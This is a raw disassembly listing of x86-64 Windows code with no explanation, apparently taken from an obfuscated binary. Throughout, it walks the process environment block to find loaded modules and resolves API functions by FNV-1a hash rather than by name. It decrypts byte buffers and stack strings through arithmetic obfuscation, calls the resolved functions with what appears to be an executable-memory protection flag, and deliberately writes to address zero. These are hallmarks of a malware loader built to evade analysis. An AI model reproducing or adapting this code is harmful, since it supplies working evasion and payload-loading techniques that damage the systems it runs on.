lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e8041
movabs rdx, 0xb93a4323e6f7df36
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7a
add bl, dl
movabs rcx, 0x8b6916692098d156
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x5a
add r9b, cl
mov byte [rbp + r10 + 0x1030], r9b
add r11, r15
sub r10, r15
jmp 0x1401e8180
movabs rdx, 0x7ef468bb3fc3c0f2
mov ecx, Ordinal_50
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rcx, 0x63dd754adba33dca
add rcx, r10
mov al, cl
and al, r9b
mov edx, 0x3d
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r10 + 0x1030], dl
add rdi, r11
jmp 0x1401e80b6
movabs rcx, 0xce0baaf7c9aee80a
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401e8180
mov r9, r8
movabs rcx, 0xf5974c160ea47b96
add rcx, r10
and r8b, cl
add r8b, r8b
mov bl, r9b
sub bl, r8b
sub bl, 0x1a
add bl, cl
movabs rdx, 0x3c51d42c96adaa3e
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x1030], al
add r11, r15
add rax, r11
sub r10, rax
movabs rcx, 0xa88c039d7432e078
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x48
add cl, r9b
mov byte [rbp + r10 + 0x1030], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x1401e8171
movabs rdx, 0x44ae8e52988fa2ae
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movzx eax, byte [rbp + r10 + 0x1030]
add rax, r11
add r10, rax
add r10, r15
jmp 0x1401e764f
movabs rdx, 0x3a3aa5a316352c22
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e764a
movabs rdx, 0x61c646c15b2abfae
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e763a
lea rdx, [rbp + 0x1407f28]
jmp 0x1401e81ed
lea rdx, [rbp + 0x45b562]
jmp 0x1401e81ed
lea rdx, [rbp + 0x1030]
mov r9d, 0x40
mov r8, rsi
xor ecx, ecx
call r12
mov rdx, qword [0x1404dbba8]
xor eax, eax
test rdx, rdx
jne 0x1401e8373
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e827a
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x1401e826c
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1401e825b
cmp r9d, esi
jne 0x1401e835e
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x1401e835e
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401e835e
mov ebx, dword [r11 + 0x20]
mov r12d, 1
dec r10d
lea r8, [rbx + r10*4]
mov r9d, dword [r8 + rdi]
add r9, rdi
mov r8d, 0x811c9dc5
jmp 0x1401e82d7
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x1401e82ca
cmp r8d, r14d
je 0x1401e82ed
test r10d, r10d
jne 0x1401e82b4
jmp 0x1401e835e
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x1401e8366
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1401e8366
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401e832f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401e8321
jmp 0x1401e8344
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401e8337
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401e822a
mov qword [0x1404dbba8], rdx
mov r13d, 0x31a98fee
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404dbbe8]
xor eax, eax
test rbx, rbx
jne 0x1401e84e9
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e83fb
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e83ed
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e83dc
cmp r8d, esi
jne 0x1401e84cb
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x1401e84cb
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e84cb
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x1401e844f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e8444
cmp edx, r14d
je 0x1401e8465
test r9d, r9d
jne 0x1401e842f
jmp 0x1401e84cb
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x1401e84e2
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1401e84e2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x1401e84bf
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x1401e849c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x1401e84b2
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401e84df
cmp qword [rbx + 0x30], rax
jne 0x1401e83ab
mov rbx, rax
mov qword [0x1404dbbe8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404dbbe0]
xor eax, eax
test rdx, rdx
jne 0x1401e8665
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e8577
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e8569
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e8558
cmp r8d, esi
jne 0x1401e8647
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e8647
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e8647
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e85cb
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e85c0
cmp edx, r14d
je 0x1401e85e1
test r9d, r9d
jne 0x1401e85ab
jmp 0x1401e8647
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401e865e
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401e865e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401e863b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401e8618
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401e862e
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e865b
cmp qword [rdi + 0x30], rax
jne 0x1401e8527
mov rdx, rax
mov qword [0x1404dbbe0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd8]
xor eax, eax
test rdx, rdx
jne 0x1401e87d8
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e86ea
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e86dc
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e86cb
cmp r8d, esi
jne 0x1401e87ba
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e87ba
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e87ba
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e873e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e8733
cmp edx, r14d
je 0x1401e8754
test r9d, r9d
jne 0x1401e871e
jmp 0x1401e87ba
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401e87d1
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401e87d1
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401e87ae
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401e878b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401e87a1
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e87ce
cmp qword [rdi + 0x30], rax
jne 0x1401e869a
mov rdx, rax
mov qword [0x1404dbbd8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd0]
xor eax, eax
test rdx, rdx
jne 0x1401e894b
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e885d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e884f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e883e
cmp r8d, esi
jne 0x1401e892d
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e892d
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e892d
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e88b1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e88a6
cmp edx, r14d
je 0x1401e88c7
test r9d, r9d
jne 0x1401e8891
jmp 0x1401e892d
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401e8944
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401e8944
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401e8921
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401e88fe
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401e8914
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e8941
cmp qword [rdi + 0x30], rax
jne 0x1401e880d
mov rdx, rax
mov qword [0x1404dbbd0], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x1404dbbc8], rax
jne 0x1401e8abd
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e89cd
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e89bf
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e89ae
cmp r8d, esi
jne 0x1401e8a9f
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e8a9f
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e8a9f
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e8a21
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e8a16
cmp edx, r14d
je 0x1401e8a37
test r9d, r9d
jne 0x1401e8a01
jmp 0x1401e8a9f
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x1401e8ab6
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x1401e8ab6
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x1401e8a92
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x1401e8a6e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x1401e8a85
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e8ab3
cmp qword [rdi + 0x30], rax
jne 0x1401e897d
mov r9, rax
mov qword [0x1404dbbc8], r9
mov r8, qword [0x1404dbc00]
test r8, r8
jne 0x1401e8b34
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x1401e8b1a
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e8afb
cmp r8d, 0x610c0de3
je 0x1401e8b8b
mov r9, qword [r9]
xor eax, eax
cmp r9, r10
je 0x1401e8b2a
cmp qword [r9 + 0x30], rax
jne 0x1401e8ae0
mov r8, rax
mov qword [0x1404dbc00], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r10d, dword [r11 + r8 + 0x20]
lea r15d, [rax + 1]
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r15
test al, al
je 0x1401e8b86
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r15
test al, al
jne 0x1401e8b6a
cmp ecx, 0xe463da3c
je 0x1401e8b91
add r9d, r15d
jmp 0x1401e8b4e
mov r8, qword [r9 + 0x30]
jmp 0x1401e8b2d
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404dbbf8]
xor eax, eax
test r10, r10
jne 0x1401e8d2c
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e8c36
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e8c28
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e8c17
cmp r8d, esi
jne 0x1401e8d08
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401e8d08
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401e8d08
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e8c8a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e8c7f
cmp edx, r14d
je 0x1401e8ca0
test r9d, r9d
jne 0x1401e8c6a
jmp 0x1401e8d08
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x1401e8d1f
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401e8d1f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401e8cfb
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x1401e8cd7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x1401e8cee
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e8d1c
cmp qword [rdi + 0x30], rax
jne 0x1401e8be6
mov r10, rax
mov qword [0x1404dbbf8], r10
mov r15d, 1
lea r9, [rbp + 0x11ac]
mov r8d, r15d
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404dbbf0]
xor eax, eax
test r8, r8
jne 0x1401e8eb2
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e8dc2
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e8db4
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e8da3
cmp r8d, esi
jne 0x1401e8e94
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e8e94
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e8e94
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e8e16
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e8e0b
cmp edx, r14d
je 0x1401e8e2c
test r9d, r9d
jne 0x1401e8df6
jmp 0x1401e8e94
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x1401e8eab
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x1401e8eab
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401e8e87
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdx
jmp 0x1401e8e63
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdx
mov al, byte [r8]
test al, al
jne 0x1401e8e7a
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e8ea8
cmp qword [rdi + 0x30], rax
jne 0x1401e8d72
mov r8, rax
mov qword [0x1404dbbf0], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
lea rcx, [0x1404db520]
call fcn.14025003c
xor ebx, ebx
test eax, eax
jne 0x1401eb680
mov r12, qword [0x1404dbbb8]
xor eax, eax
test r12, r12
jne 0x1401e904f
mov esi, eax
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e8f5d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e8f4f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e8f3e
cmp r8d, esi
jne 0x1401e9031
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401e9031
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401e9031
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e8fb1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e8fa6
cmp edx, r14d
je 0x1401e8fc7
test r9d, r9d
jne 0x1401e8f91
jmp 0x1401e9031
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r12d, dword [r8 + rdx*4]
add r12, rbx
cmp r12, r10
jbe 0x1401e9048
lea rcx, [r10 + rax]
cmp r12, rcx
jae 0x1401e9048
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r12]
cmp al, 0x2e
je 0x1401e9023
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r12, rdx
jmp 0x1401e8ffe
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r12, rdx
mov al, byte [r12]
test al, al
jne 0x1401e9016
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e9045
cmp qword [rdi + 0x30], rax
jne 0x1401e8f0d
mov r12, rax
mov qword [0x1404dbbb8], r12
mov byte [rbp + 0x440], Ordinal_27
mov byte [rbp + 0x441], 0xa1
mov byte [rbp + 0x442], Ordinal_45
mov byte [rbp + 0x443], 0xa3
mov byte [rbp + 0x444], Ordinal_60
mov byte [rbp + 0x445], 0x9d
mov byte [rbp + 0x446], 3
mov byte [rbp + 0x447], 0x9f
mov byte [rbp + 0x448], ntohl
mov byte [rbp + 0x449], 0x99
mov byte [rbp + 0x44a], Ordinal_60
mov byte [rbp + 0x44b], 0x9b
mov byte [rbp + 0x44c], 0x9a
mov byte [rbp + 0x44d], __WSAFDIsSet
xor eax, eax
mov dword [rbp + 0x44e], eax
mov byte [rbp + 0x452], al
movabs rsi, 0xc31f8f2349af4a9b
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x13
jae 0x1401e9cb3
movzx r9d, byte [rbp + r10 + 0x440]
mov r8, r9
cmp rdi, r10
ja 0x1401e9caa
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401e9123
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
sub bl, 0x3d
jmp 0x1401e915d
je 0x1401e9c24
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401e9b9a
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401e9b3f
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401e9b15
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401e9aee
cmp r11, r10
ja 0x1401e9ca1
lea rax, [r11 + 6]
cmp rdi, rax
jae 0x1401e918f
movabs rdx, 0x196bde50b611eb7
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 1
add bl, dl
jmp 0x1401e91c3
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401e9aab
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401e9a89
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401e9a67
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401e9a45
lea rax, [r11 + rdi]
cmp rax, r10
